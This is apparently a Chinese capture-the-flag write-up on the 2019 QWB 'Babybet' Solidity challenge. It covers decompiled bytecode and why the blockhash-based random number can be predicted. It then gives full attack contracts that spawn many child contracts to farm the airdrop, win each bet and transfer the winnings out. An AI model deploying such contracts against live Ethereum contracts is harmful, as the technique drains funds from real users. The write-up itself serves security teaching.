强网杯区块链题目--Babybet深入分析
2019-06-10 07:03:00 Author: xz.aliyun.com(查看原文) 阅读量:105 收藏

一、前言

前文介绍了强网杯区块链第一道题目,本文将对第二道题目Babybet进行深入分析。在比赛过程中,该题目并没有许多人做出,相比于第一题来说本题目并没有增加很大的难度,只是利用方法不同。本题目与第一道题目利用过程都很复杂,第一题需要不断建立b1b1的账户,而本题目需要我们不断进行循环函数调用。

下面看我们详细的分析。

二、题目分析

同第一题一样,该问题给出合约地址以及部分合约文件。

0x5d1beefd4de611caff204e1a318039324575599a@ropsten,请使用自己队伍的token获取flag,否则flag无效

pragma solidity ^0.4.23;

contract babybet {
    mapping(address => uint) public balance;
    mapping(address => uint) public status;
    address owner;

    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 

    constructor()public{
        owner = msg.sender;
        balance[msg.sender]=1000000;
    }

    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 1000000);
        if (msg.sender!=owner){
        balance[msg.sender]=0;}
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }

...

该合约包括余额变量与status变量,且包括发送flag事件。在发送flag函数中,语句要求函数调用者的余额>=1000000。且当函数调用方不是owner时便会将余额赋值为0,并触发事件。

当然给出的合约中并没有更多有价值的地方,所以我们还是需要选择进行逆向操作。

https://ropsten.etherscan.io/address/0x5d1beefd4de611caff204e1a318039324575599a

逆向得到关键函数:

function status(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x01;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }

    function profit() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;

        if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x0a;
        memory[0x20:0x40] = 0x01;
        storage[keccak256(memory[0x00:0x40])] = 0x01;
    }

    function bet(var arg0) {
        var var0 = 0x00;
        memory[var0:var0 + 0x20] = msg.sender;
        memory[0x20:0x40] = var0;
        var var1 = var0;

        if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;

        if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + ~0x09;
        var0 = block.blockHash(block.number + ~0x00);
        var1 = var0 % 0x03;

        if (var1 != arg0) {
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x01;
            storage[keccak256(memory[0x00:0x40])] = 0x02;
            return;
        } else {
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x00;
            var temp1 = keccak256(memory[0x00:0x40]);
            storage[temp1] = storage[temp1] + 0x03e8;
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x01;
            storage[keccak256(memory[0x00:0x40])] = 0x02;
            return;
        }
    }
    function balance(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x00;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }

    function func_048F(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;

        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        var temp1 = arg1;
        storage[temp0] = storage[temp0] - temp1;
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = temp1 + storage[temp2];
    }
}

下面我们详细对这些函数进行分析:

首先是profit()函数。看到此函数我们就应该立刻想到为空投函数,该函数需要满足status = 0,且当调用此函数后,用户余额会增加10 ,且status将变为1 。简单来说,这种函数只能够调用一次。

下面是bet函数,该函数为合约的关键点。

var var0 = 0x00;
        memory[var0:var0 + 0x20] = msg.sender;
        memory[0x20:0x40] = var0;
        var var1 = var0;
        if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }

该语句表示调用函数的账户的余额需要满足<=10,否则无法调用。

memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
        if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

该语句表示用户的status需要满足<2。

当满足上述两个条件后,合约将计算一个随机数:

var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + ~0x09;
        var0 = block.blockHash(block.number + ~0x00);
        var1 = var0 % 0x03;

该随机数用正常表示如下:

bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;

由于调用bet函数需要用户传入一个参数arg0。当arg0不等于随机数时,合约直接将status设置为2 。否则将执行关键过程,即让用户的余额+1000元。

memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x00;
            var temp1 = keccak256(memory[0x00:0x40]);
            storage[temp1] = storage[temp1] + 0x03e8;
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x01;
            storage[keccak256(memory[0x00:0x40])] = 0x02;

并将status赋值为2 。此处的status为2后,则表示用户无法再次调用bet函数,所以这个函数只能被使用一次。

之后我们分析一个无法解析出名字的函数 :func_048F()

function func_048F(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;

        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        var temp1 = arg1;
        storage[temp0] = storage[temp0] - temp1;
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = temp1 + storage[temp2];
    }

该函数传入两个参数并满足arg1需要大于余额,这也就是很明显的转账函数。之后账户余额减少并使收款方余额增加。

基本上该合约的关键函数到此就分析结束,那么我们如何进行攻击呢?如何才能获取到100w的代币?

我们发现合约中唯一能获得钱的函数为bet。且只有1000块。所以我们可以使用薅羊毛的做法进行转账。我们的合约中存在打赌函数与转账函数,所以我们的假设完全满足。

我们知道,区块链中如果不调用第三方库那么便不会存在真正的随机数,此合约的随机数便可以被预测。

即我们可以使用如下函数来达到与合约相同的随机数预测:

bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;

之后我们传入此随机数便可以获取到1000 。

于是我们一个羊应该包括如下步骤:

target.profit();——>target.bet(guess1);——>transfer。下章中我们详细进行分析。

三、攻击复现

攻击合约如下:

pragma solidity ^0.4.23;

contract babybet {
    mapping(address => uint) public balance;
    mapping(address => uint) public status;
    address owner;

    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 

    constructor()public{
        owner = msg.sender;
        balance[msg.sender]=1000000;
    }

    function balance(address a) returns (uint b) {

    }

    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 1000000);
        if (msg.sender!=owner){
        balance[msg.sender]=0;}
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    function profit() {}

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    function bet(uint num) {}
}

contract midContract {
    babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);

    function process() public {
        target.profit();
        bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;
        target.bet(guess1);

    }
        function transfer(address a, uint b) public{
        // target.func_048F(a,b);
        bytes4 method = 0xf0d25268;
        target.call(method,a,b);
        selfdestruct();
    }
}

contract hack {
    // babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);


function ffff() public {
     for(int i=0;i<=100;i++){
            midContract mid = new midContract();
            mid.process();
            mid.transfer("0x9b9a3xxxxxxxxxxxxxxxxxxxx",1000);
        }
}

}

我们进行函数的测试,看看是否可以真正预测随机数。我们调用midContract中的process

看到目前合约中的余额和status均为0 。调用函数后得到:

说明我们随机数预测成功,那么后面就非常简单了,即将process函数封装并调用转账函数将合约中的1000转给一个账户。

midContract mid = new midContract();
            mid.process();
            mid.transfer("0x9b9a30b7df47b9dbexxxxxxxxxxxxx",1000);

上述合约调用1000次即可。

调用后余额清空:

得到flag。


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